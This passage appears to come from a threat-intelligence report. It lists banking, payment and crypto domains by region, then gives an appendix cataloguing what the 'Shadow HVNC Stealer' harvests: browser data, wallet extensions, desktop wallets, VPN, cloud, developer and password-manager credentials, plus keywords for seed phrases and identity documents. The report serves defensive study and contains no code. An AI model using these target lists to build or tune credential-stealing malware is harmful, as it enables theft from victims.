- bosc.cn
- ccb.com
- cebbank.com
- cgb.com.cn
- cgbchina.com
- cgbchina.com.cn
- citibank.com.cn
- citic.com
- cmbank.com
- cmbc.com.cn
- cncbinternational.com
- dce.org
- dcep.cn
- digitaleuro.eu
- dxcd.ec
- e-cny.cn
- gdhb.com.cn
- gfbank.com.cn
- hxb.com.cn
- hzbank.com.cn
- icbc.com.cn
- jdpay.com
- meituan.com
- minshengbank.com
- nbbank.com.cn
- njcb.com.cn
- pingan.com
- unionpay.com
- wechatpay.com

## ASIA - Korea

- bithumb.com
- citibank.co.kr
- coinone.co.kr
- eximbank.co.kr
- gopax.co.kr
- hana.co.kr
- hanabank.com
- hanafinancial.com
- hanasec.co.kr
- ibk.co.kr
- ibkbank.co.kr
- k-bank.co.kr
- kakaobank.com
- kakaopay.com
- kb.co.kr
- kbbank.co.kr
- kbcard.co.kr
- kbsec.co.kr
- kdb.co.kr
- kdbbank.co.kr
- kexim.co.kr
- korbit.co.kr
- koreapostbank.co.kr
- kpost.go.kr
- nhbank.co.kr
- nonghyup.com
- sc.co.kr
- scbank.co.kr
- shinhan.com
- shinhanbank.com
- shinhancard.com
- shinhansec.com
- toss.im
- tossbank.com
- upbit.com
- woori.co.kr
- wooribank.com
- wooricard.com
- woorisec.com

## ASIA - Southeast Asia

- 2c2p.com
- affin.com.my
- affinhwangbank.com.my
- agrobank.com.my
- ajaib.co.id
- alliancebank.com.my
- ambank.com.my
- atome.sg
- bangkokbank.com
- bankofchina.com.sg
- bankrakyat.com.my
- bareksa.com
- bbl.co.th
- bdo.com.ph
- bea.com.hk
- bibit.id
- billpocket.com
- bimb.com.my
- bochk.com
- bpi.com.ph
- bsn.com.my
- bualuang.com
- cashlez.com
- chinatrust.com.tw
- cimb.com
- citi.com.sg
- citibank.com.hk
- citibank.com.sg
- ctbcbank.com
- dana.id
- dbs.com
- dbs.com.hk
- dbs.com.sg
- dbsbank.com
- digibank.vn
- doku.com
- endowus.com
- epayment.co.th
- espay.id
- esunbank.com.tw
- faspay.com
- gbprimepay.com
- gcash.com
- gcash.ph
- gopay.co.id
- grabfinancial.com
- grabpay.com
- gxs.com.sg
- hangseng.com
- hongleong.com.my
- hoolah.co
- hsbc.com.hk
- hsbc.com.sg
- hsbcbank.com.hk
- hwataibank.com.tw
- icbc.com.sg
- indodax.com
- instarem.com
- ipaymu.com
- isbt.com.th
- islamicbank.com.my
- kasikorn.com
- kasikornbank.com
- kbank.co.th
- kiatnakin.com
- krungthai.com
- ktaxa.co.th
- landbank.com.tw
- linkaja.id
- maribank.com
- maybank.com
- maybank.com.sg
- mbank.com.my
- mbbk.com.tw
- metrobank.com.ph
- mfc.co.th
- midtrans.com
- netzme.com
- ocbc.com
- ocbc.com.hk
- ocbc.com.sg
- omise.co
- omisego.com
- orca.com
- orienalbank.hk
- orientalbank.hk
- ovo.id
- paymaya.com
- paymaya.ph
- phatra.com
- pintu.co.id
- pluang.com
- posb.com
- posb.com.sg
- promptpay.io
- publicbank.com.my
- rabbit.in.th
- rcbc.com
- rhb.com.sg
- rhbgroup.com
- sc.com.cn
- sc.com.sg
- scb.co.th
- sinopac.com
- standardchartered.com.hk
- stashaway.com
- syfe.com
- taishinbank.com
- thanachart.co.th
- timo.vn
- tisco.co.th
- tmbthanachart.co.th
- tokocrypto.com
- transferwise.com.sg
- truemoney.com
- truemoney.com.th
- trust.com.sg
- uob.com
- uob.com.sg
- xendit.co
- xendit.com
- xfers.io
- youtrip.com

## ASIA - India & South Asia

- airtelbank.in
- allahabadbank.in
- andhraabank.com
- aubank.in
- axisbank.com
- bandhanbank.com
- bankofbaroda.com
- bankofbaroda.in
- bankofindia.co.in
- bankofmaharashtra.com
- bharatpe.com
- bhim.gov.in
- bhimupi.com
- bhimupi.in
- billdesk.com
- canarabank.com
- cashfree.com
- ccavenue.com
- centralbankofindia.co.in
- cityunion.co.in
- csb.co.in
- denabank.com
- dhanlaxmi.com
- equitasbank.com
- federalbank.co.in
- freecharge.in
- gpay.in
- hdfc-usa.com
- hdfcbank.com
- icicibank-usa.com
- icicibank.com
- idfcfirstbank.com
- indianbank.in
- indiaremit.com
- indiasend.com
- indusind.com
- instamojo.com
- iob.in
- jiomoney.com
- juspay.in
- karnatakbank.com
- karurvsb.com
- kotakbank.com
- kvb.co.in
- mobikwik.com
- nainital.co.in
- nriinternet.com
- nriservices.com
- obcindia.com
- paytm.com
- paytmbank.com
- payu.in
- payzapp.in
- phonepe.com
- razorpay.com
- rbl.co.in
- sbi.co.in
- sendmoneytoindia.com
- shivalikbank.com
- statebankofindia.com
- syndicatebank.com
- tamilnadinvestor.com
- ujjivansfb.in
- unionbankofindia.com
- upi.bharatpe.com
- upibhim.com
- upiindia.com
- upiindia.org
- utkarsh.bank
- vijayabank.com
- yesbank.in

## P2P

- applepay.com
- blink.sv
- bottlepay.com
- breez.technology
- breezapp.io
- cashapp.com
- cashenvoy.com
- cashnetusa.com
- cashxpress.com
- chippercash.com
- cuentamovil.com
- fold.app
- fondeadora.mx
- gcash.com
- googlepay.com
- gpay.app
- gpay.com
- gpay.ph
- jkopay.com
- linepay.com
- linepay.com.tw
- lolli.com
- m-birr.com
- muun.com
- orange.money
- orangemoney.com
- payelp.com
- payme.co.il
- phoenixwallet.me
- samsungpay.com
- satsapp.io
- satsback.com
- send.gcash.com
- speed.app
- speedtransfer.com
- strike.me
- strikeapp.com
- twint.ch
- venmo.com
- vodafonecash.com
- walletofsatoshi.com
- wave.com
- zelle.com
- zeusln.app

## Gaming / Steam

- 0x.org
- 1inch.io
- aax.com
- aerodrome.finance
- akaswap.com
- algorand.com
- ankr.com
- avalanche.network
- avascan.info
- avatrade.com
- avax.network
- banxa.com
- baseswap.fi
- bestchange.com
- bibox.com
- bigone.com
- binance.com
- binanceusd.com
- binary.com
- bitbank.cc
- bitfinex.com
- bitflyer.com
- bitforex.com
- bitget.com
- bitmart.com
- bitmex.com
- bitpanda.com
- bitpanda.eu
- bitpay.com
- bitrue.com
- bitstamp.com
- bitstamp.net
- bittrex.com
- bity.com
- bkex.com
- breakout.finance
- bullbitcoin.com
- busd.finance
- bybit.com
- camelot.exchange
- catalyx.io
- cex.io
- changelly.com
- changenow.io
- chronos.exchange
- circle.com
- coinbase.com
- coincheck.com
- coinex.com
- coinflip.tech
- coinlist.co
- coins.ph
- coinsbit.io
- coinswitch.co
- cone.exchange
- crypto.com
- curve.exchange
- curve.fi
- dcash.ec
- delta.exchange
- deribit.com
- deriv.com
- dopex.io
- drift.trade
- dydx.exchange
- dydx.trade
- easymarkets.com
- eos.io
- equalizer.exchange
- equalizerex.io
- exmo.com
- fantom.foundation
- fixedfloat.com
- frax.finance
- ftx.com
- ftx.us
- fuel.network
- fuel.sh
- gate.io
- gemini.com
- gmx.io
- godex.io
- hitbtc.com
- hop.exchange
- hotbit.io
- huobi.com
- ibex.cash
- indacoin.com
- kraken.com
- kucoin.com
- kwenta.io
- kyberswap.com
- latoken.com
- lbank.info
- letsexchange.io
- liquid.com
- livecoin.net
- lnmarkets.com
- mango.markets
- matcha.xyz
- mexc.com
- mifx.com
- moonpay.com
- mstable.org
- mxc.com
- neteller.com
- neteller.eu
- oanda.com
- okcoin.com
- okx.com
- ondo.finance
- onramper.com
- orca.so
- osmosis.zone
- pancakeswap.finance
- paraswap.io
- paxos.com
- perpetualprotocol.io
- phemex.com
- poloniex.com
- probit.com
- quickswap.exchange
- ramp.network
- ramses.exchange
- raydium.io
- ribbon.finance
- shapeshift.com
- simpleswap.io
- simplex.com
- skrill.com
- skrill.eu
- spiritswap.app
- spookyswap.finance
- stably.io
- stealthex.io
- sushiswap.io
- sushiswap.org
- swapspace.co
- swapzone.io
- terra.money
- tether.to
- tezos.com
- traderjoe.xyz
- transak.com
- truecoin.com
- trueusd.com
- tzero.com
- uniswap.io
- uniswap.org
- usdc.circle.com
- velodrome.finance
- whitebit.com
- wyre.com
- xanpool.com
- xm.com
- xt.com
- yobit.net
- zaif.jp
- zb.com
- zebit.com
- zengo.com
- zeta.markets

## CRYPTOCURRENCY - Wallets & DeFi

- 1ml.com
- 21shares.com
- 88mph.app
- aave.com
- abra.com
- across.to
- aegon.co.uk
- ageur.finance
- alchem.fi
- alchemix.fi
- alchemy.com
- amboss.space
- ampleforth.org
- amplitude.exchange
- anchor.com
- anchorage.com
- anchortech.co
- angle.money
- arcade.xyz
- argent.xyz
- aria.finance
- armor.fi
- arrakis.finance
- aztec.network
- badger.finance
- badgerdao.io
- bakkt.com
- balancer.fi
- barnbridge.com
- base.org
- benddao.xyz
- bitbox02.io
- bitcoin.com
- bitcoin.org
- bitgo.com
- blockchain.com
- blockfi.com
- bluewallet.io
- breakout.finance
- bridge.money
- bridge.mutual
- btcpayserver.org
- cactus.custody
- cad-coin.com
- cardano.org
- cbridge.celer.network
- celsius.com
- chainalysis.com
- chorus.one
- ciphertrace.com
- coinfirm.com
- coinomi.com
- coinshares.com
- coldcard.com
- compound.finance
- connext.network
- convex.finance
- coolwallet.io
- create2.io
- crystal.com
- crystalchain.com
- crystallochain.net
- dai.makerdao.com
- daitoken.com
- dapper.com
- decentraland.org
- deversifi.com
- drops.co
- dupaco.com
- dydx.exchange
- ekrona.se
- electrum.org
- ellipal.com
- elliptic.co
- elrond.com
- epns.io
- euler.finance
- exodus.com
- fei.money
- figment.io
- fireblocks.com
- float.capital
- fraxfinance.com
- galoy.io
- gamma.xyz
- gelato.network
- gnosis.io
- gnosisguild.org
- grayscale.com
- greenaddress.com
- greenaddress.it
- harmony.one
- harpie.io
- harvest.finance
- hashdex.com
- hegic.co
- hodlnaut.com
- hop.exchange
- idex.io
- idle.finance
- immutable.com
- insurace.io
- insure.network
- keepkey.com
- kingdom-trust.com
- klima.finance
- kwenta.io
- ledger.com
- ledn.io
- lens.xyz
- lido.fi
- lightning.engineering
- lightning.network
- lightningnetwork.plus
- liquity.org
- litentry.com
- loopring.io
- loopring.org
- lyra.finance
- makerdao.com
- mansa.finance
- matic.network
- merkle-science.com
- metamask.io
- mim.finance
- mimatic.finance
- mirror.xyz
- muun.com
- myetherwallet.com
- nash.io
- nexo.io
- nexus.org
- nexusmutual.io
- ngrave.io
- notabene.id
- novus.io
- nsure.network
- nuo.credit
- olympusdao.finance
- opium.network
- opyn.co
- paraspace.xyz
- perpetualprotocol.io
- pickle.finance
- pods.finance
- premia.finance
- primetrust.com
- raft.fi
- rai.finance
- rainbow.me
- rari.capital
- reflexer.finance
- rocketpool.net
- safe.global
- safepal.io
- saltlending.com
- scorechain.com
- seedsigner.com
- serum.io
- silvr.io
- socket.tech
- solidly.com
- solidly.exchange
- specterwallet.io
- staked.us
- stakefish.com
- stargate.finance
- starknet.io
- steer.finance
- stitch.money
- swan.com
- swanbitcoin.com
- swapbased.finance
- swapbit.io
- synapse.network
- synthetix.com
- synthetix.io
- thena.fi
- tokemak.xyz
- token.io
- tokenguard.io
- tokenmetrics.com
- tokensoft.io
- tokeny.com
- tornado.cash
- trezor.io
- trmlabs.com
- trove.finance
- trustwallet.com
- ultrasound.money
- uma.xyz
- unipilot.io
- vaneck.com
- vauld.com
- verse.works
- versum.xyz
- visor.finance
- vitalik.eth.limo
- volta.net
- voltage.cloud
- waffle.io
- wasabi.io
- wasabiwallet.io
- wisdomtree.com
- wonderland.money
- wyre.com
- xrpl.org
- yearn.finance
- youhodler.com
- zengo.com
- zksync.io
- zodiac.wiki

Appendix C: Shadow HVNC Stealer Complete Collection Targets

Browsers

Family	Targets
Chromium (via `collectChromiumBrowser`, `collectExtraChromiumBrowsers` and the ChromeElevator injector)	Google Chrome, Chrome Beta, Chrome SxS (Canary), Microsoft Edge, Brave, Opera Stable, Opera GX, Vivaldi, Slimjet, Chromium, Yandex Browser, CocCoc, Comodo Dragon
Gecko (via `collectGecko*`, `collectFirefoxData`)	Firefox, Waterfox, Pale Moon, Basilisk, Thunderbird
Extension wallets (via Local Extension Settings, IndexedDB grabs)	MetaMask, MetaMask-Flask, MetaMask-Edge, Brave Wallet, Phantom, Solflare, Backpack, OpenMask, Uniswap, Enkrypt, Martian, Pontem, Zerion, UniSat, Eternl, Typhon, MyAlgo, Coin98, Wombat, OKX Wallet, Tonkeeper, Sui Wallet, SubWallet, MEW (MewCx/MewWallet), Ronin Wallet, Trust Wallet, Equal Wallet, Flint Wallet, MyTonWallet, GuildWallet, Bitget Wallet

Desktop wallets, trading platforms, game launchers (collectWalletsAndApps):

Category	Targets
Desktop wallets	Armory, Algorand, Atomic, Bitcoin, Bitcoin Gold, Bitcoin SV, Bisq, Blockstream Green, Coinomi, CosmosApp, Daedalus, Dash, Dogecoin, Electrum, Electrum-DASH, Electrum-LTC, Ethereum, Ethereum Classic, Exodus, Firefly, Flint, Flow, Frame, Galleon, Gatehub, GreenAddress, Guarda, Horizen, ICPWallet, Internet Identity, IOTA Wallet, Jaxx Liberty, Keplr, Keystone, Komodo, Kusama, Ledger Live, Lisk, Litecoin, Monero, MultiBit, Mycelium, NavCoin, NEAR CLI, Neo, Ngrave, Nunchuk, PIVX, Polkadot, Ravencoin, Ripple Tab, Ripple Trade, SafePal, Slope, Sparrow, Tezbox, Temple, TokenCore, Trezor Suite, Verge, Wasabi Wallet, Yoroi, ZenGo, Zcash, Zoin
Trading platforms	MetaTrader 4, MetaTrader 5, NinjaTrader 8 (MetaQuotes, Spotware strings referenced)
Game launchers	Steam, EA Desktop, Electronic Arts, Epic Games Launcher, Rockstar Games Launcher

Communication:

Category	Targets
Email clients (`collectEmailClients`)	Outlook (incl. office365 token caches and OutlookArchives), Thunderbird, Foxmail, Mailbird, The Bat!, eM Client, Claws Mail, Postbox
Chat and messaging (`collectChatApps`, `collectMessengers`, `collectTelegram`)	Slack, Microsoft Teams, Skype, Zoom, Viber, WhatsApp, Signal, Element, Keybase, Discord (stable, Canary, PTB - token LevelDBs), Telegram Desktop (`tdata`)

Infrastructure and credential stores:

Category	Targets
VPN (`collectVPNCredentials`)	TorGuard, AzireVPN, IPVanish, OpenVPN, NordVPN, Mullvad VPN, ExpressVPN, Windscribe, ProtonVPN, CyberGhost, Surfshark, WireGuard
Remote access (`collectRemoteAccessTools`)	AnyDesk, TeamViewer, mRemoteNG, Royal TS, FileZilla, WinSCP, PuTTY
Cloud (`collectCloudCredentials`)	AWS, Azure, GCP (gcloud)
Developer (`collectDevCredentials`, `collectGitCredentials`)	npm (`.npmrc`), PyPI (`.pypirc`), Composer, Terraform, Docker, Kubernetes (`.kube`), Git (`.gitconfig`, `.git-credentials`, `.netrc`), Atlassian, Jira, GitHub
Password managers and 2FA (`collectPasswordManagers`)	KeePass, KeePassXC, Bitwarden, 1Password, RoboForm, Enpass, Keeper, Sticky Password, Authy Desktop

Content-scan keywords (collectSeedPhrases,collectSensitiveFiles - these scan file contents and names):

Category	Keywords
Crypto and seed	seed phrase, seed words, wallet seed, private key, passphrase, mnemonic, 12 words, 24 words, recovery phrase, backup phrase
Identity documents	passport, id card, idcard, nationalid, national id, driver license, drivers license, driving license, social security, birthcert, birth certificate, residence permit, residency, rental agreement, identification, identity, health card, medicare
Financial documents	tax return, bank statement, account statement, utility, electric bill, water bill, gas bill, phone bill, invoice, receipt, payslip, pay slip, paycheck, mortgage, insurance, debit card, credit card, visa, 1099
File-type filter	Collects `.pdf .doc .docx .xls .xlsx .rtf .jpg .jpeg .png .tif .tiff .bmp .heic .webp`, skips `.exe .dll .pdb .pak .bin .mp4 .mp3 .avi .mkv`